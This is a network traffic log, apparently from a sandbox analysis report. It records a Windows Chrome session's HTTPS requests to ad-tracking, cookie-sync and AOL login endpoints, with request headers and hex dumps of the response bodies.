770	192.168.2.6	50616	142.250.185.130	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	614	OUT	GET /pixel?google_nid=rubicon&google_hm=NzU4NGI0YmE5YTNjNGFhYzFlMjcwYjRlZGRkYWQ3MjUxYTM5ZDQ1Mg&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:18 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.6	50627	142.250.185.130	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	572	OUT	GET /pixel?google_nid=rp&google_hm=TFdKVFpBQk4tWC1LNFBX&google_push=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:18 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.6	50629	52.94.223.167	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	463	OUT	GET /s/ecm3?ex=rubiconprojectHMT&id=5RidXYCrRWyX3hVU66KEVw&gdpr=0 HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:18 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: ADEEVBCDBZVWXMMQNJWK Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.6	50605	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2039	OUT	GET /p?evt=tb_err&_E=tb_err&_V=test&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a741c-5933- [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://imasdk.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	443	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 105 date: Thu, 23 May 2024 22:35:18 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.6	50611	212.82.100.140	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2388	OUT	GET /?login_hint&src=help&noPrompt=1&.done=https%3A%2F%2Fapi.login.aol.com%2Foauth2%2Frequest_auth%3Fclient_id%3Ddj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--%26redirect_uri%3Dhttps%253A%252F%252Foidc.help.aol.com%252Fcallback%26response_type%3Dcode%26scope%3Dopenid%2Bopenid2%2Bsdps-r%26src%3Dhelp%26language%3Den-US%26state%3DeyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZjk0Y2RhZDExZTdjM2FjMDhkYzllYzNjNDQ4NDRiODdlMzY0ZjcifQ.eyJyZWRpcmVjdFVyaSI6Imh0dHBzOi8vaGVscC5hb2wuY29tL19uc18vbnN0ZXN0Lmh0bWw_b2lkYy1yZXR1cm4ifQ.u1KMiDZhjiN8fAMUGEk_uuVhHtzdy5lzmK13nu-xBVzK5Qxndf3lkivxoFcvFhkPVQjZsGVnxzWuwxWNxbYOQnq9z7cnGKi6OCA9j8qVlX9AeXs8dO7s6WuivW-oKGbknRYasL0cfSE2YMULTjuFJJSNrzOau-NtMbEHRE9724c%26nonce%3DdgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b HTTP/1.1 Host: login.aol.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:18 UTC	1329	IN	HTTP/1.1 302 Found Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 0 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: AS=v=1&s=b8UBrRe6; path=/; domain=login.aol.com; secure; HttpOnly Location: https://api.login.aol.com/oauth2/request_auth?client_id=dj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--&redirect_uri=https%3A%2F%2Foidc.help.aol.com%2Fcallback&response_type=code&scope=openid+openid2+sdps-r&src=help&language=en-US&state=eyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZjk0Y2RhZDExZTdjM2FjMDhkYzllYzNjNDQ4NDRiODdlMzY0ZjcifQ.eyJyZWRpcmVjdFVyaSI6Imh0dHBzOi8vaGVscC5hb2wuY29tL19uc18vbnN0ZXN0Lmh0bWw_b2lkYy1yZXR1cm4ifQ.u1KMiDZhjiN8fAMUGEk_uuVhHtzdy5lzmK13nu-xBVzK5Qxndf3lkivxoFcvFhkPVQjZsGVnxzWuwxWNxbYOQnq9z7cnGKi6OCA9j8qVlX9AeXs8dO7s6WuivW-oKGbknRYasL0cfSE2YMULTjuFJJSNrzOau-NtMbEHRE9724c&nonce=dgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b Vary: Accept, Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 1440 Date: Thu, 23 May 2024 22:35:18 GMT Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-05-23 22:35:18 UTC	1440	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 6c 6f 67 69 6e 2e 61 6f 6c 2e 63 6f 6d 2f 6f 61 75 74 68 32 2f 72 65 71 75 65 73 74 5f 61 75 74 68 3f 63 6c 69 65 6e 74 5f 69 64 3d 64 6a 30 79 4a 6d 6b 39 65 54 46 78 59 31 42 50 53 30 74 4e 52 46 4e 6d 4a 6d 51 39 57 56 64 72 4f 56 4a 46 56 6d 31 61 56 6c 70 79 54 6b 64 6a 62 57 4e 48 62 7a 6c 4e 51 53 30 74 4a 6e 4d 39 59 32 39 75 63 33 56 74 5a 58 4a 7a 5a 57 4e 79 5a 58 51 6d 65 44 30 31 4f 51 2d 2d 26 61 6d 70 3b 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6f 69 64 63 2e 68 65 6c 70 2e 61 6f 6c 2e 63 6f 6d 25 32 46 63 61 6c 6c 62 61 63 6b 26 61 6d 70 3b 72 65 73 70 6f 6e 73 65 Data Ascii: <p>Found. Redirecting to <a href="https://api.login.aol.com/oauth2/request_auth?client_id=dj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--&redirect_uri=https%3A%2F%2Foidc.help.aol.com%2Fcallback&response

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.6	50622	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	427	OUT	GET /usersync?b=mag&i=LWJTZABN-X-K4PW HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:18 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:18 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.6	50643	141.94.161.190	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	708	OUT	GET /pubmatic/cm?gdpr=0&gdpr_consent= HTTP/1.1 Host: green.erne.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	431	IN	HTTP/1.1 302 Found server: envoy date: Thu, 23 May 2024 22:35:18 GMT content-type: text/html content-length: 145 location: https://pixel-eu.onaudience.com/?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent x-envoy-upstream-service-time: 0 connection: close
2024-05-23 22:35:18 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.6	50618	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	378	OUT	GET /cv/apiv2/aolfp/images/app/AOL-logo-96x96.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: KulswJD8m6XG7ecBSBnzh2Gb2CfzZm8enZuuIfI80S6isnjST+guegdrW2C5+OEOpjf6xcj7+Z4= x-amz-request-id: PS52GMKHR19QNWJX Date: Thu, 11 Apr 2024 16:23:00 GMT Last-Modified: Mon, 09 Jan 2023 14:41:17 GMT ETag: "76f0af63ba54fafdb24c12012a4865b1" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1619 Referrer-Policy: no-referrer-when-downgrade Age: 3651139 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 03 00 00 00 d5 46 87 0a 00 00 01 e9 50 4c 54 45 47 70 4c 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff ff ff ff 0f 69 ff 52 93 ff 78 ab ff e8 f1 ff a8 c8 ff ad cc ff fe fe ff 13 6c ff 10 6a ff fe ff ff fb fc ff 12 6b ff 10 69 ff b8 d3 ff 1e 73 ff f9 fb ff 26 78 ff 15 6d ff 1a 70 ff d9 Data Ascii: PNGIHDR``FPLTEGpLiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiRxljkis&xmp
2024-05-23 22:35:18 UTC	319	IN	Data Raw: c3 41 ad d3 7c dd ef c9 90 7d f6 10 c0 13 32 ab b3 52 c0 5b 62 13 9f 18 6d 63 78 ec 15 df e9 f9 23 4d ce 68 e8 7e d0 47 4c cb 52 c0 1b b2 5c 52 69 1f c6 63 53 9b 7c 67 b2 33 34 7e bf 64 47 23 57 e0 75 4a 00 3b 72 8f 2a 23 64 50 78 4c b5 07 ef 69 ed 26 e9 9e 4c 72 b0 21 cd c1 42 35 d2 ad 4d ba 8a 3d 78 74 17 15 7f ff b7 40 f8 83 cf 81 a9 9c 46 3e df 85 2a 6a 0f 5f 45 91 c8 fc 72 d1 b5 7e a3 7a ec d5 db 9e 30 1e d7 17 86 5e 4c cc 1d e9 0f 88 c5 61 d6 fe 42 69 00 0d a0 01 34 80 06 50 a6 64 60 64 0b c8 07 55 6c 01 39 40 cf 16 60 00 89 6c 01 05 a0 bc 98 65 fc ec 24 c0 76 8e 0c 00 80 92 64 76 f1 63 f3 fc 87 99 7a b6 17 00 c0 e9 0c 56 f1 4f 9c 41 07 ca 27 19 9d c7 1e cf 22 47 e2 99 4c 8e dc e3 4f b1 3d d4 8f 4f a5 df 7b 48 55 7d 96 8e 9f 0a 7e 71 43 97 ad 72 7e Data Ascii: A\|}2R[bmcx#Mh~GLR\RicS\|g34~dG#WuJ;r#dPxLi&Lr!B5M=xt@F>j_Er~z0^LaBi4Pd`dUl9@`le$vdvczVOA'"GLO=O{HU}~qCr~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.6	50644	141.94.171.212	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	954	OUT	GET /?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent HTTP/1.1 Host: pixel-eu.onaudience.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookie=a4f26c9103f1a853; done_redirects236=1
2024-05-23 22:35:18 UTC	700	IN	HTTP/1.1 302 Found set-cookie: cookie=a4f26c9103f1a853; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None set-cookie: done_redirects282=1; Max-Age=86400; Expires=Fri, 24 May 2024 22:35:18 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None location: https://pixel-eu.onaudience.com/?partner=282&icm&cver&gdpr=0&smartmap=1&redirect=stags.bluekai.com%2Fsite%2F52799%3Fid%3D%25m%26redir%3Dhttps%253A%252F%252Fimage2.pubmatic.com%252FAdServer%252FPug%253Fvcode%253Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%2526piggybackCookie%253DHHt10NrrgWMXUjRbaYMbgSVY%2526gdpr%253D0%2526gdpr_consent%253D content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.6	50642	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1059	OUT	GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila"
